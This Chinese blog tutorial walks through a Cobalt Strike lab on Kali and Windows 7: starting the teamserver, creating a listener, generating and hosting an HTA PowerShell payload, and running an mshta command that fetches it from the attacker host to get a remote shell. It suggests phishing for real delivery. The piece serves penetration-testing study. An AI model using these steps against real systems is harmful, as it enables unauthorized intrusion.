Cobalt Strike 的使用(一)

  • 0x00 实验环境
  • 0x01 安装并运行 Cobalt Strike
  • 0x02 监听目标机并选择攻击途径
  • 0x03 通过 Cobalt Strike 生成攻击脚本拿到目标的shell
  • 0x04 查看日志输出报告

本文是对 Cobalt Strike 进行初步认识与使用的简单总结,并完成了一次从启动服务端到拿到shell生成渗透测试报告的测试实验,边使用边学习。还有很多不足,请见谅。

Cobalt Strike的相关信息:

Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
CobaltStrike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。


0x00 实验环境

  • 服务器:kali(需要你的系统安装好 Java 环境
  • 靶机:win7
  • 本次实验采用虚拟机进行,因此为了方便 服务端与客户端使用的是同一个系统 kali

0x01 安装并运行 Cobalt Strike

  • 工具下载:Cobalt Strike 4.0
  • 你可以选择在 windows 上下载,然后通过 xftp 上传至系统。
  • 再次重复,需要 Linux 系统上安装好 JAVA 环境。相关配置可以自行查阅 linux 下安装 openjdk。
  • 下载完压缩包后,通过如下命令将工具解压到指定目录,-d 选项可以指定解压目录。
 unzip [压缩包所在路径] -d [目标路径]# 如:unzip cobaltstrike.zip -d [目标路径]

  • 进入解压的文件夹,使用如下命令[1]对文件 teamserver 设置执行权限,随后使用如下命令[2]将本机作为服务器端运行 cobaltstrike
# 进入文件目录cd /home/cobaltstrike
# 设置文件执行权限 命令[1]chmod 777 teamserver
# 开启客户端 命令[2]./teamserver 10.1.1.100 [password] 密码自定义
  • 实验环境限制,因此将攻击机既做客户端,又作为服务器
  • 新开一个命令行窗口,运行 cobaltstrike 的客户端。使用如下命令[1]。
    • port默认为50050,在启动服务端的时候通过回显也可以得知。如果更改了 teamserver 文件里的 server_port 值那么在此处就需要改成对应的。
# 命令[1]java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

  • 所有都设置好后,点击 Connect 启动客户端。这里是校验 hash ,第一次连接时会出现,这里的hash等于前面的启动 teamserver 时的 hash ,直接点击‘是’即可

0x02 监听目标机并选择攻击途径

  • 启动工具后,界面如下:
  • 首先创建一个 listener,左上角的 cobaltstrike->listeners ,打开后可以看到如下界面,点击 Add 添加一个新的 listener。

    • Name:可以自定义设置
    • Payload:主要分为 beaconforeign 两大类
      • Beacon:为内置的Listener,即在目标主机执行相应的payload,获取shell到CS上;其中包含DNS、HTTP、SMB。
      • Foreign:为外部结合的Listener,常用于MSF的结合,例如获取meterpreter到MSF上。
      • 这里以上图默认的为例
    • Host:为kali本机的ip
    • Port:可以也可以随意
  • 设置完成后,点击 save 保存,随后弹窗,点击确定即可。

  • 确定后如下所示,创建了一个监听器,接下来我们选择攻击途径,如图所示采用HTML 应用的途径攻击。

  • 然后选择方法,分别是可执行文件powershellvb程序,这里我们选择powershell,然后点击 generate 生成,我们可以选择生成的路径。选择完成后点击保存。

0x03 通过 Cobalt Strike 生成攻击脚本拿到目标的shell

  • 紧接着上面的步骤,在我们保存完后,利用WEB 服务,打开渠道,选择 host file
  • 在file一行选择之前生成的hta文件,点击launch即可生成链接,这条链接将用于我们执行本次攻击。

  • 切换到 目标机 上,打开cmd,执行 mshta 命令。mshta.exe是微软Windows操作系统相关程序,用于执行 .hta 文件。(正常操作应该是通过钓鱼或者其他手段,让目标机将文件下载到目标机上并执行)
# 命令格式mshta [上述生成文件的路径]
# 示例:mshta http://10.1.1.100:80/download/file.ext


  • 右击目标机,选择 interact 打开交互界面

  • 然后使用CS工具的命令,对目标进行相关操作,如下展示命令:
  • 可以看到,通过 help shell 查看命令格式为:
# CS工具的命令格式shell [命令] [参数]
# 查看目标ip地址shell ipconfig

0x04 查看日志输出报告

  • 我们一些的操作,都可以通过服务端的日志记录文件 log 进行查看
  • 当然,作为一次完整的渗透测试,必不可少的就是报告
  • Cobalt Strike 支持生成的报告很多种,我们以活动报告 active report 为例,如下图选中后生成,设置完文件格式后,点击export导出,这里我们采用默认设置。


  • 保存后,到该目录下打开生成的pdf报告查看,由于我们的测试非常的简略,因此生成的报告内容非常的少,可以看到第二页给出了我们的具体活动的时间与行为。

  • 这样有利于梳理攻击者的 Kill chain ,以及进行复盘,帮助被测试的公司明确安全短板。
  • 至此,使用 cobaltstrike 的一次典型的过程结束了,我们回顾一下:启动服务端->在客户端连接服务端->创建listener->创建攻击载荷->投递载荷->靶机下载执行->靶机上线->拿到shell->生成渗透测试报告

有任何问题欢迎评论区留言,上文若是信息有误,评论区随便吐槽,看必回!

简学-CobaltStrike 的使用(一)相关推荐

  1. 简学-CobaltStrike 的使用(三)

    CobaltStrike 的使用(三) 进行网站克隆 对钓鱼网页的链接进行伪装 学习使用 CS 进行一次钓鱼攻击实验. 本次实验环境: 攻击机 kali 10.1.1.100 靶机 win7 10.1 ...

  2. burp 调试_Burp插件分享及编译简学Wildcard+

    点击上方"蓝字"关注我们了解更多精彩0x00 Prefaceburpsuite作为本菜日常测试工具中的主角,他被我添加了很多的扩展插件,结果当然就是标签栏超胖.   作为一个追求美 ...

  3. 简学Python第二章__巧学数据结构文件操作

    Python第二章__巧学数据结构文件操作 欢迎加入Linux_Python学习群  群号:478616847 目录: 列表 元祖 索引 字典 序列 文件操作 编码与文件方法 本站开始将引入一个新的概 ...

  4. 二进制_简学:二进制数制的应用

    设现有正整数150,二进制形式为10010110,现有如下题目,求其尽可能简单的解法. 题目一:判断该正整数是否是2的乘方: 解法: 由上表可以看出2的乘方的二进制形式只有一个bit为1,因此判断一个 ...

  5. python归一化 增大差异_简学Python第六章__class面向对象编程与异常处理

    Python第六章__class面向对象编程与异常处理 欢迎加入Linux_Python学习群 群号:478616847 目录: 面向对象的程序设计 类和对象 封装 继承与派生 多态与多态性 特性pr ...

  6. java实验报告合肥工业大学_合肥工业大学数据结构上机实验代码与实验报告(全)github地址...

    C++实现链队类--合肥工业大学数据结构实验5:链式队列 实验5 5.1 实验目的 熟练掌握队列的顺序链式存储结构. 熟练掌握队列的有关算法设计,并在链队列上实现. 根据具体给定的需求,合理设计并实现 ...

  7. 避免在JSP中写java代码

    作者:蜗牛学院CTO李懿老师 ​自从十年前的taglibs(如JSTL)和EL(表达语言,这些事情)诞生以来,在JSP中使用scriptlet(<% %>这些东西)的确是非常不鼓励的. 小 ...

  8. 重磅:2019年全国普通高校学科竞赛排行榜出炉!

    2020年2月22日,由中国高等教育学会<高校竞赛评估与管理体系研究>专家工作组研发的2015-2019年和2019年全国普通高校学科竞赛排行结果与大家正式见面.其中,包含本科院校榜单12 ...

  9. camx模型_【推荐】基于CAMx的空气质量模拟及污染来源解析技术

    关注并转发本文章至朋友圈或科研群3小时以上,截图联系文末客服即可免费参加海报免费课程,快动动您的小手转发起来! 各企事业单位: 随着我国经济快速发展,我国面临着日益严重的大气污染问题.大气污染是工农业 ...

最新文章

  1. 取出url中的字符_如何在JavaScript中解析URL:例如主机名,路径名,查询,哈希?...
  2. 指定python 版本安装相关插件
  3. linux:内核中断
  4. 定时采用ajax方式获得数据库,《基于Ajax的在线客服系统的设计与实现》-毕业设计论文(学术).doc...
  5. 用 Linux 和 Apache Hadoop 进行云计算
  6. [问题解决]基于注解配置dubbo遇到ConnectionLoss for /dubbo/xxx问题解决
  7. python二维散点分布图_深入理解皮尔逊相关系数amp;python代码
  8. 禁止IE页面自动跳转到EDGE浏览器的方法教程
  9. linux中负载值为多少正常_Linux系统中load average平均负载
  10. 企业最喜欢招聘什么样的Java程序员?谈谈我的看法
  11. java steam 排序_Java使用Steams VS TreeMap对地图进行排序
  12. Eclipse下maven使用嵌入式(Embedded)Neo4j创建Hello World项目
  13. Windows Phone 7之初体验(四.平台架构简介)
  14. ZOJ1003 Crashing Balloon【水题】
  15. 【234期门诊集锦】全面了解 VMware View 5 虚拟桌面
  16. Java集合---HashMap源码剖析
  17. 卡尔曼滤波原理与应用
  18. python中shift函数_Pandas Shift函数的基础入门学习笔记
  19. S32K144_FTM定时器中断
  20. STM32L431(CubeMX)使用DHT11读取环境温度与湿度并通过串口打印

热门文章

  1. MATLAB循环画不同颜色的点方法
  2. 产品思考 - 失败是成功之母-1
  3. 如何处理信息是目前的首要矛盾——判断力
  4. 持续集成基于腾讯云coding
  5. js粒子特效——particles
  6. 如何利用小程序打造私域流量池,实现粉丝经济增长
  7. 【操作系统系列】进程视图与基本问题
  8. optimizer(二) RMSProp
  9. [C++] atoi()和stoi()函数
  10. Centos7 下 安装 Redis6.0.8